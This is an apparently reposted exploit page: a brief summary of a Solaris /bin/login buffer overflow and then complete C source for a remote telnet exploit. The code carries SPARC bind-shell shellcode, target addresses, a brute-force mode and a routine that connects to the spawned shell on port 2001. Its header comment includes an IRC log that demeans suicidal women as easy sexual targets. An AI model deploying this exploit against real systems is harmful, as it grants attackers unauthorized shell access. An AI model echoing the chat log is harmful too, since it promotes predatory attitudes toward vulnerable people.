tjdrldud@hanmail.net http://assa.backrush.com
============
http://cert.chosun.ac.kr/tool/attack/attack01.htm
============
Summary :
As we reported in our previous article: Buffer Overflow in /bin/login, a security vulnerability in the product allows remote attackers to cause an overflow in the /bin/login binary causing it to execute arbitrary code, thus allowing gaining of arbitrary privileges.
Exploit:
/*
Solaris /bin/login array mismanagement exploit by morgan@sexter.com
compile: use -DSOLARIS if your running it on a big endian system....
friendly advice to find that special someone:
[ronin(ronin@segfault.net)] think if i make 'the lonely hearts club' at college...
[ronin(ronin@segfault.net)] it'll have a psych. effect on chicks?
[msg(ronin)] you'd get all the suicidal chicks
[ronin(ronin@segfault.net)] they have like clubs and shit... chess clubs, sport, rollerblading, etc.
[ronin(ronin@segfault.net)] u can make ur own
[msg(ronin)] yah.. most schools do
[ronin(ronin@segfault.net)] they should be the best in bed
[ronin(ronin@segfault.net)] cuz of how vulnerable they are to suggestion
[ronin(ronin@segfault.net)] and all that angst
[msg(ronin)] always thinking
[ronin(ronin@segfault.net)] can be harnessed for sexual gratification
[msg(ronin)] your a quite a sexual trickster
[ronin(ronin@segfault.net)] plus
[ronin(ronin@segfault.net)] suicidal = pain
[ronin(ronin@segfault.net)] pain = bdsm
[ronin(ronin@segfault.net)] happy go lucky chicks are too content in bed
[msg(ronin)] /me wanders off slowly
[ronin(ronin@segfault.net)] but suicidal chicks like to cover the full spectrum of pain
[ronin(ronin@segfault.net)] and pain and pleasure are one
greets:
matthew, pioneering the pinkhat movement... ryan&drago, reading telnet rfcs for me..
ron1n, OMG! You're in school now!@#$! The metaray, level 6 on everquest now!
blueboar, for his exquisite mailing list..
antisec for being so darn hackerifically ethical... keep up the faith
and arcanum the aim sexual predator...
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <string.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#define NOPS 8
struct {
char *name;
unsigned long reta;
unsigned long retl;
}targets[] = {
{ "SunOS 5.7... local", 0xffbef85c, 0x20026fc8},
{ "SunOS 5.7... remote", 0xffbef8bc, 0x20026fc8},
{ "SunOS 5,7... remote 2", 0xffbef824, 0x20026fc8},
{ NULL, 0, 0 }
};
unsigned char shellcode[] = /* dopesquad.net shellcode + 8 nop bytes */
"\x10\x80\x00\x03" /* b foolabel */
"\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */
/* OVERWRITE */ "\x82\x10\x20\x17" /* mov 23, %g1 */
"\xa0\x23\xa0\x10" /* sub %sp, 16, %l0 */
"\xae\x23\x80\x10" /* sub %sp, %l0, %l7 */
"\xee\x23\xbf\xec" /* st %l7, [%sp - 20] */
"\x82\x05\xe0\xd6" /* add %l7, 214, %g1 */
"\x90\x25\xe0\x0e" /* sub %l7, 14, %o0 */
"\x92\x25\xe0\x0e" /* sub %l7, 14, %o1 */
"\x94\x1c\x40\x11" /* xor %l1, %l1, %o2 */
"\x96\x1c\x40\x11" /* xor %l1, %l1, %o3 */
"\x98\x25\xe0\x0f" /* sub %l7, 15, %o4 */
"\x91\xd0\x38\x08" /* ta 0x8 */
"\xa4\x1a\x80\x08" /* xor %o2, %o0, %l2 */
"\xd2\x33\xbf\xf0" /* sth %o1, [%sp - 16] */
"\xac\x10\x27\xd1" /* mov 2001, %l6 */
"\xec\x33\xbf\xf2" /* sth %l6, [%sp - 14] */
"\xc0\x23\xbf\xf4" /* st %g0, [%sp - 12] */
"\x82\x05\xe0\xd8" /* add %l7, 216, %g1 */
"\x90\x1a\xc0\x12" /* xor %o3, %l2, %o0 */
"\x92\x1a\xc0\x10" /* xor %o3, %l0, %o1 */
"\x94\x1a\xc0\x17" /* xor %o3, %l7, %o2 */
"\x91\xd0\x38\x08" /* ta 0x8 */
"\x82\x05\xe0\xd9" /* add %l7, 217, %g1 */
"\x90\x1a\xc0\x12" /* xor %o3, %l2, %o0 */
"\x92\x25\xe0\x0b" /* sub %l7, 11, %o1 */
"\x91\xd0\x38\x08" /* ta 0x8 */
"\x82\x05\xe0\xda" /* add %l7, 218, %g1 */
"\x90\x1a\xc0\x12" /* xor %o3, %l2, %o0 */
"\x92\x1a\xc0\x10" /* xor %o3, %l0, %o1 */
"\x94\x23\xa0\x14" /* sub %sp, 20, %o2 */
"\x91\xd0\x38\x08" /* ta 0x8 */
"\xa6\x1a\xc0\x08" /* xor %o3, %o0, %l3 */
"\x82\x05\xe0\x2e" /* add %l7, 46, %g1 */
"\x90\x1a\xc0\x13" /* xor %o3, %l3, %o0 */
"\x92\x25\xe0\x07" /* sub %l7, 7, %o1 */
"\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */
"\x91\xd0\x38\x08" /* ta 0x8 */
"\x90\x1a\xc0\x13" /* xor %o3, %l3, %o0 */
"\x92\x25\xe0\x07" /* sub %l7, 7, %o1 */
"\x94\x02\xe0\x01" /* add %o3, 1, %o2 */
"\x91\xd0\x38\x08" /* ta 0x8 */
"\x90\x1a\xc0\x13" /* xor %o3, %l3, %o0 */
"\x92\x25\xe0\x07" /* sub %l7, 7, %o1 */
"\x94\x02\xe0\x02" /* add %o3, 2, %o2 */
"\x91\xd0\x38\x08" /* ta 0x8 */
"\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */
"\x82\x02\xe0\x17" /* add %o3, 23, %g1 */
"\x91\xd0\x38\x08" /* ta 0x8 */
"\x21\x0b\xd8\x9a" /* sethi %hi(0x2f626800), %l0 */
"\xa0\x14\x21\x6e" /* or %l0, 0x16e, %l0 ! 0x2f62696e */
"\x23\x0b\xdc\xda" /* sethi %hi(0x2f736800), %l1 */
"\x90\x23\xa0\x10" /* sub %sp, 16, %o0 */
"\x92\x23\xa0\x08" /* sub %sp, 8, %o1 */
"\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */
"\xe0\x3b\xbf\xf0" /* std %l0, [%sp - 16] */
"\xd0\x23\xbf\xf8" /* st %o0, [%sp - 8] */
"\xc0\x23\xbf\xfc" /* st %g0, [%sp - 4] */
"\x82\x02\xe0\x3b" /* add %o3, 59, %g1 */
"\x91\xd0\x38\x08" /* ta 0x8 */
"\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */
"\x82\x02\xe0\x01" /* add %o3, 1, %g1 */
"\x91\xd0\x38\x08" /* ta 0x8 */
;
static char nop[]="\x80\x1c\x40\x11";
void usage(char **argv) {
int i;
fprintf(stderr, "Solaris /bin/login array mismangement exploit by morgan@sexter.com\n");
fprintf(stderr, "usage: %s <host>\n", argv[0]);
fprintf(stderr, "\t-r <return address>\n");
fprintf(stderr, "\t-l <return location>\n");
fprintf(stderr, "\t-p <port>\n");
fprintf(stderr, "\t-t <target number>\n");
fprintf(stderr, "\t-e [for local /bin/login execution mode check for +s]\n");
fprintf(stderr, "\t%s -e <options> | /bin/login\n", argv[0]);
fprintf(stderr, "\t-b brute force mode\n\n");
fprintf(stderr, "targets are...\n");
for(i=0; targets[i].name; i++)
fprintf(stderr, "\t%d) %s\n", i, targets[i].name);
fprintf(stderr, "\n");
exit(0);
}
void die(char *error) {
fprintf(stderr, "Error: %s\n", error);
fprintf(stderr, "Program aborting..\n");
exit(0);
}
void shift(unsigned long *addr) {
unsigned long tmp;
tmp = *addr >> 24;
tmp += *addr << 8 >> 24 << 8;
tmp += *addr << 16 >> 24 << 16;
tmp += *addr << 24;
*addr = tmp;
return;
}
int write_with_iac(int fd, char *buff, int s)
{
int i;
unsigned char c=0, pt;
for (i=0; i<s; i++) {
c=(unsigned char)buff[i];
if (c==0xff) if(write(fd, &c, 1) < 0)
die("Write failed sending IAC");
if(write(fd, &c, 1)<0)
die("Write failed sending user string");
}
}
void send_ww(int fd, unsigned char arg, int a) {
char buf[3];
char *p=buf;
*p++ = IAC;
if(a == WILL)
*p++ = WILL;
else if(a == WONT)
*p++ = WONT;
else {
fprintf(stderr, "illegal send, %d is not a valid send type\n", a);
exit(0);
}
*p = arg;
write(fd, buf, 3);
return;
}
int connect_shell(char *host, int port)
{
struct sockaddr_in s;
int sock;
struct hostent *h;
unsigned char c;
char commands[] = "cd /; echo; uname -a; id ;echo; "
"echo Mommy wow.. im a hacker now; echo ;\n\n";
char buf[2048];
fd_set fds;
int r;
s.sin_family = AF_INET;
s.sin_port = htons(port);
s.sin_addr.s_addr = inet_addr(host);
if ((h=gethostbyname(host)) == NULL)
{
fprintf(stderr, "cannot resolve: %s : %s\n", host, strerror(errno));
return -1;
}
memcpy (&s.sin_addr.s_addr, (struct in_addr *)h->h_addr, sizeof(h->h_addr));
if ( (sock = socket (AF_INET, SOCK_STREAM, 0)) == -1)
return sock;
if (connect (sock, (struct sockaddr *)&s, sizeof(s)) == -1)
{
close (sock);
return -1;
}
write(sock, commands, strlen(commands));
for(;;)
{
FD_ZERO(&fds);
FD_SET(fileno(stdin), &fds);
FD_SET(sock, &fds);
select(255, &fds, NULL, NULL, NULL);
if(FD_ISSET(sock, &fds))
{
memset(buf, 0x0, sizeof(buf));
r = read (sock, buf, sizeof(buf) - 1);
if(r <= 0)
{
fprintf(stderr, "Connection closed.\n");
exit(0);
}
fprintf(stderr, "%s", buf);
}
if(FD_ISSET(fileno(stdin), &fds))
{
memset(buf, 0x0, sizeof(buf));
read(fileno(stdin), buf, sizeof(buf) - 1);
write(sock, buf, strlen(buf));
}
}
return sock;
}
int do_telnet_negotation(char *host, int port)
{
struct sockaddr_in s;
int fd, ret;
u_char c, buf[3];
struct hostent *h;
s.sin_family = AF_INET;
s.sin_port = htons(port);
s.sin_addr.s_addr = inet_addr(host);
if ((h=gethostbyname(host)) == NULL)
{
fprintf(stderr, "cannot resolve: %s : %s\n", host, strerror(errno));
return -1;
}
memcpy (&s.sin_addr.s_addr, (struct in_addr *)h->h_addr, sizeof(h->h_addr));
if ( (fd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
return fd;
if (connect (fd, (struct sockaddr *)&s, sizeof(s)) == -1)
{
close (fd);
return -1;
}
// send DONT's for all the DO's... ;)
send_ww(fd, TELOPT_TTYPE, WONT);
send_ww(fd, TELOPT_NAWS, WONT);
send_ww(fd, TELOPT_XDISPLOC, WONT);
send_ww(fd, TELOPT_NEW_ENVIRON, WONT);
send_ww(fd, TELOPT_OLD_ENVIRON, WONT);
send_ww(fd, TELOPT_BINARY, WILL);
return fd;
}
int setup_exploit(char *buffer, unsigned long retl, unsigned long reta, int bf) {
int i,j;
char *ptr;
char buf[3000];
char blah[512];
unsigned long *a;
unsigned long strncpy_addr = 0xffbef2a8;
unsigned long chunk_size = 0xffffffd5;
unsigned long chunk = 0xfffffff0;
unsigned long free_addr = 0x20026eec;
#ifndef SOLARIS
shift(&strncpy_addr);
shift(&chunk_size);
shift(&chunk);
shift(&free_addr);
#endif
fprintf(stderr, "Solaris /bin/login array mismangement exploit by morgan@sexter.com\n");
fprintf(stderr, "<matthew> I've brought more terror to this network then Shdwknght to a chinese food buffet.\n\n");
if(!bf) {
fprintf(stderr, "using %#x as return address\n", reta);
fprintf(stderr, "using %#x as return location\n", retl);
}
else fprintf(stderr, "trying return address %#x\n", reta);
memset(&buf[0], 0x41, 512);
// SETUP FIRST CHUNK
// size -44+1
ptr = &buf[36];
memcpy(ptr, &chunk_size, 4);
// SETUP CHUNK numbah 2
retl -= 32;
reta -= 8;
#ifndef SOLARIS
shift(&retl);
shift(&reta);
#endif
ptr = buf;
memcpy(ptr, &chunk, 4);
// second addr free'd
memcpy(ptr+4, &free_addr, 4);
memcpy(ptr+8, (void *)&retl, 4);
memset(ptr+16, 0xff, 4);
memcpy(ptr+32, (void *) &reta, 4);
// fake chunk built.. setting up overflow..
for(i=0; i < 256; i++) {
if( i < 63 || i > 190)
blah[i] = 0x41;
else {
blah[i++] = 0x20;
blah[i] = 0x41;
}
}
//free addr 1 send in addr of mem
memcpy(blah+252, &free_addr, 4);
memcpy(blah+204, &strncpy_addr, 4);
blah[256] = 0x00;
// add shellcode to end of buf
// pad with nops.. more is better... but not too many..
for(i=511-sizeof(shellcode)-2-4*NOPS; i < 511-sizeof(shellcode); i+=4)
memcpy(&buf[i], nop, sizeof(nop)-1);
memcpy(&buf[511-sizeof(shellcode)-2], shellcode, sizeof(shellcode));
// convert nulls to space..
for(i=0,j=0;i<511;i++) {
if(buf[i] == 0x00) {
buf[i] = 0x20; j++; }
}
buf[511] = 0x00;
sprintf(buffer,"%s%s\n", &blah,&buf);
return;
}
int main(int argc, char **argv) {
int fd,fd2, c, type, port=23,local=0,bf=0, remp=2001;
char out[1024];
char in[24];
char ret[] = "\x0a";
char *host;
unsigned char bshell = 0xd5;
char cc;
unsigned long reta, retl;
FILE *login;
retl = 0x20026fc8;
reta = 0xffbef864;
if(argc < 2)
usage(argv);
while((c = getopt(argc, argv, "r:l:p:et:b")) != EOF){
switch(c){
case 'r':
reta = strtoul(optarg, NULL, 0);
break;
case 'l':
retl = strtoul(optarg, NULL, 0);
break;
case 'p':
port = atoi(optarg);
break;
case 'e':
local=1;
break;
case 't':
type = atoi(optarg);
if(type < 0 || type > 2){
fprintf(stderr, "invalid target\n");
usage(argv);
exit(0);
}
if(strstr(targets[type].name, "local"))
local = 1;
retl = targets[type].retl;
reta = targets[type].reta;
break;
case 'b':
bf=1;
break;
}
}
if(!local) {
if(!argv[optind] || !*argv[optind])
usage(argv);
host = argv[optind];
}
if(local) {
fprintf(stderr, "Local execution mode.. make sure to run %s [args] | /bin/login\n", argv[0]);
fprintf(stderr, "first wait for Password: prompt.. hit enter then,");
fprintf(stderr, "wait for Login incorrect, and attempt to connect to localhost on %d\n", remp);
}
if(bf) {
reta = 0xffbef800;
}
for(;reta < 0xffbef8ff; reta+=4) {
memset(out, 0, sizeof(out));
setup_exploit(out, retl, reta, bf);
if(local) {
if(bf) {
fprintf(stderr, "not supported do it manually you lazy fuck\n");
exit(0);
}
printf("%s", out);
}
else {
char *ptr=in;
fd = do_telnet_negotation (host, port);
memset(in, 0, sizeof(in));
while (!strstr(ptr, ":")) {
if(ptr==&in[0]) {
memset(in, 0, sizeof(in));
if(read(fd, in, sizeof(in)-2) < 0)
die("Failed read waiting for login: ");
}
for(;ptr < &in[sizeof(in)-1] && ptr[0] != 0; ptr++);
if( ptr==&in[sizeof(in)-2] || (ptr[0]==0 && ptr[1]==0))
ptr = &in[0];
else
ptr++;
}
memset(in, 0, sizeof(in));
fprintf(stdout, "Read login, sending bad user string now\n");
write_with_iac(fd, out, strlen(out));
fprintf(stdout, "waiting for password... ");
while (!strstr(ptr, ":")) {
if(ptr==&in[0]) {
memset(in, 0, sizeof(in));
if(read(fd, in, sizeof(in)-2) < 0)
die("Failed read waiting for password: ");
}
for(;ptr < &in[sizeof(in)-1] && ptr[0] != 0; ptr++);
if( ptr==&in[sizeof(in)-2] || (ptr[0]==0 && ptr[1]==0)) ptr = &in[0];
else ptr++;
}
memset(in, 0, sizeof(in));
fprintf(stdout, "read Password: \nsending enter now\n");
if(write(fd, ret, strlen(ret)) < 0)
die("Write failed on password");
fprintf(stdout, "Sent overflow string.... waiting for Login incorrect\n");
while (!strstr(ptr, "correct")) {
if(ptr==&in[0]) {
memset(in, 0, sizeof(in));
if(read(fd, in, sizeof(in)-2) < 0)
die("Failed read waiting for Login Incorrect ");
}
for(;ptr < &in[sizeof(in)-1] && ptr[0] != 0; ptr++);
if( ptr==&in[sizeof(in)-2] || (ptr[0]==0 && ptr[1]==0))
ptr = &in[0];
else
ptr++;
}
fprintf(stdout, "Got it!\n");
fprintf(stdout, "lets connect to our bindshell..\n");
close(connect_shell(host, remp));
close(fd);
}
if(!bf) return;
}
fprintf(stderr, "connection closed.\n");
return;
}
|